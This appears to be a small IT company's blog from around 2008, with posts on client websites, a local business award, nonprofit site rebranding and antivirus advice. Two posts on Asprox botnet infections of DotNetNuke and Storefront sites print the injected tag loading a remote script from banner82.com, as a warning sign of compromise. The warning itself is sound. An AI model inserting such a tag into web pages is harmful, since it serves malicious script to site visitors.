Delta Systems Blog

Speaking about http://www.automaticinvisalign.com

Everybody is very impressed with the site. We were at the Summit and Tony along with another speaker was talking with the CEO. The CEO of Align Tech said that he thought the website was a fantastic idea. The other speaker said, “You made a website for the speech!?” It was good. You could tell he was feeling a little awkward about his handout of his powerpoint slides. Hee, hee.

You guys did a great job.

Thanks!

Read more about the Automatic Invisalign site here.

Delta Systems and Women’s Network are proud to announce the winner of the 2008 Debin Benish Outstanding Businesswoman Award: Ms. Kim Trabue!

The award was presented at the 2008 Columbia Chamber of Commerce Annual Meeting & Awards Banquet held on the University of Missouri campus in the Stotler Lounge of the Memorial Union Building.

About Kim Trabue

This year’s recipient has given of herself professionally and personally.

She has supported many small business owners by volunteering her time as a FastTrac Columbia entrepreneurial class counselor for several years.

She is an MU Business School Graduate, and is a founding member of the Society for Design Administration Mid-Missouri Chapter. She is also a founding officer of Bruin Band Boosters and has been working to establish the Angel Food Ministries grocery distribution through her local church.

She has provided leadership for 17 years to Peckham & Wright Architects, and was elected to the company’s Board of Directors in 1998, where she serves as the corporate Secretary-Treasurer. In this role she has led PWA towards improved financial performance, setting new revenue and performance records for the past several years.

She has been the driving force behind Canstruction - a non-profit event that has raised more than 63 tons of food and thousands of dollars for the Central Missouri Food Bank. She has organized teams to design and build giant structures of cans, which are displayed as artistic sculptures for community enjoyment while bringing attention to the problem of hunger in our midst.

She does all this while providing support to her loving family.

If you’d like to congratulate Kim, feel free to contact her.

About the Award

The Debin Benish Outstanding Businesswoman Award is co-sponsored by Delta Systems and Women’s Network, which each year chooses a deserving business woman who exemplifies the values of leadership, volunteerism, community involvement, and mentoring. Nominations are taken from the public and from the selection committee with winners usually completely unaware that they have even been nominated. The winner receives a $1,000 grant from Delta Systems, Women’s Network, and an anonymous donor.

Started in 2005 to celebrate the contributions and life of Debin Benish, founder of Delta Systems and an extremely active participant in the Columbia Chamber of Commerce for almost 20 years, the annual award was presented in 2005 to Lili Vianello of Visionworks Marketing and Communication, was presented in 2006 to Lynda Baumgartner of Image Technologies of Missouri, and was presented in 2007 to Melody Parry of Outfront Communications.

Delta Systems has completed the rebranding effort of the Heart of Missouri United Way website. Previously, the organization was known as the United Way of Columbia. The old website at http://www.unitedway-columbia.org will still work for quite a while and will automatically redirect to the new website at http://uwheartmo.org

If you need to email anyone at the organization, simply change the domain on the email to uwheartmo.org; example: contact@unitedway-columbia.org becomes contact@uwheartmo.org

Delta Systems took this opportunity to shift the site to using more a more user-friendly content management platform. The site looks exactly the same, but the backside administration tasks are now much more powerful, yet remain simple to use.

The Heart of Missouri United Way also said goodbye this week to longtime Executive Director David Franta. David has moved to St. Louis with his wife, Pam. The Heart of Missouri United Way is now on the hunt for a new Executive Director.

AirPlay Direct reached another milestone in the past 2 weeks by signing up their 11,000th artist! Artists are being added so fast, that we almost missed this one; today we have 11,475 artists signed up!

This morning, AirPlay Direct went offline for a few hours while we increased storage capacity on our servers. One of these days we’ll switch to a data storage service like S3 and then we won’t have to go offline ever again since our capacity will be infinite. But in the interim, we continue to grow at a record pace -  with record breaking numbers of visitors, hits, streams, and downloads every month.  Read more about Airplay Direct on their recently launched blog at http://www.airplaydirect.com/blog

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Delta Systems is part owner in AirPlayDirect.com

Network Admin asked. . .

I find more and more occasions where remote support would be VERY useful to assist some of our employees at remote locations. Has Delta Systems run across a free or very low cost alternative to WebEx? Most of the sites I work with are on DSL circuits or on a state government network somewhere, thus making remote desktop access pretty well useless. Some free or inexpensive, easy to access remote support option would be very useful for me.

Delta Answered. . .

crossloop.com is probably the best bet; it uses a TightVNC protocol and installs via a simple javascript applet. It only works on 2000, XP, Vista and 2003 though. Not any of the 95, 98, Me variants are supported and we’re not sure about 2007 at this point.

It’s VNC, so it pulls hard on the host CPU, but installs cleanly and with a minimum of fuss - and may be easier to talk an end user through it than either GoToMeeting or Microsoft Live Meeting.

There may be other/better options out there - if so, please let us know!

Dr. Tony Gadbois needed a website to help distribute office and clinical protocols to dental practices wanting to offer and implement Invisalign products.

The result is a simple, clean website that gathers basic contact information from the dentist while providing somewhat restricted access to a myriad of detailed PDFs. The site is hosted at GoDaddy.com under Dr. Tony’s account. Delta Systems helped to get email account and domain forwarding setup since the .com, .org, and .info all needed to point to the same website.

MayeCreate Design partnered with Delta Systems to help with data collection and to put the site live just in time to coincide with a presentation Dr. Tony Gadbois was making at a conference about the protocols.

Automatic invisalign is a turn-key system of office and clinical protocols that will steer you through the ride to full integration of Invisalign.

Dr. Tony Gadbois practices at Cherry Hill Dental

Visit the new site at http://www.automaticinvisalign.com

Don’t be confused, AVG v8.0 is still free for home users

You can download it fromhttp://free.grisoft.com/ww.download?prd=afe

Your current install of AVG may be complaining that you MUST download an update and get onto version 8 before June 1, 2008.  However, the good people at Grisoft make it appear that v8.0 is $54.99. “AVG Internet Security” is what costs $54.99. It adds anti-spam protection, a firewall, file download protection, and website surfing protection. Some of these are redundant to what is included with your Windows XP or Vista installation as well as protections built in to Internet Explorer 7.0.

They make a great product and we highly recommend their entire suite of applications. However, we thought we’d blog about the free version still being out there since they did a very good job of burying it.

So, if you just want virus protection, then get the free version.

We’ve been receiving calls and emails related to our recent post that discussed how we’ve been able to stop database infections by the asprox botnet.

In one of those calls, we found out that the Storefront ecommerce system has been having this problem as well. Apparently the Storefront SQL security vulnerabilities are pretty well known. We worked on a Storefront application several months ago and reported several issues we found; we’re not sure if LaGarde ever patched them though. The caller didn’t give us the Storefront version number.

Anyhoo, if you are having problems with Dot Net Nuke (DNN) or Storefront websites getting overwritten with stuff like <script src=http://www.banner82.com/b.js></script> then give us a call. We may be able to help.

You’re not alone. If you Google for banner82.com you’ll see thousands of sites that have been compromised. The attack is pretty ingenious - you can read about it by clicking on the top link in this post.

The Columbia Business Times ran a story on Phishing, Pharming, and Hacking. They consulted several local businesses that deal with these types of threats. Both Kevin Schmutzler and David Nivens also had several useful insights as to how to prevent these issues using several layers of protection.

We found it interesting that this story went live the same day that the latest round of attacks from the Asprox botnet started spreading via the web and Microsoft SQL Servers.

If you think your website has been infected by the Asprox botnet, give us a call.

We’ve figured out a few ways to innoculate sites from the attacks, even without fixing XSS vulnerabilities in the code itself.

How do you know if your site is infected?

For one thing, you will see links to banner82.com in the form of

<script src=http://www.banner82.com/b.js></script>

If you Google for banner82.com you’ll see thousands of sites that have been compromised.

The good people at the Business Times Company electronically delivered the latest issue of the CBT to Delta in PDF, printer ready format. Delta then publishes the PDF and dumps graphics and stories into WordPress to get the individual stories properly indexed by Google News and a myriad of search engines. The official publication date is every other Saturday. The online issue is set to automatically go live at 5:00pm on the Friday before the day of publication since print copies start arriving in mailboxes on Friday.

The Columbia Business Times can be found online at http://www.columbiabusinesstimes.com

Everything you see on that site is database driven - no human layout is required for each issue - it is automatically handled by the system and all stories in each issue are pushed live simultaneously and automatically.

Articles started appearing in Google News within 8 minutes of them being posted. Not too shabby. :-)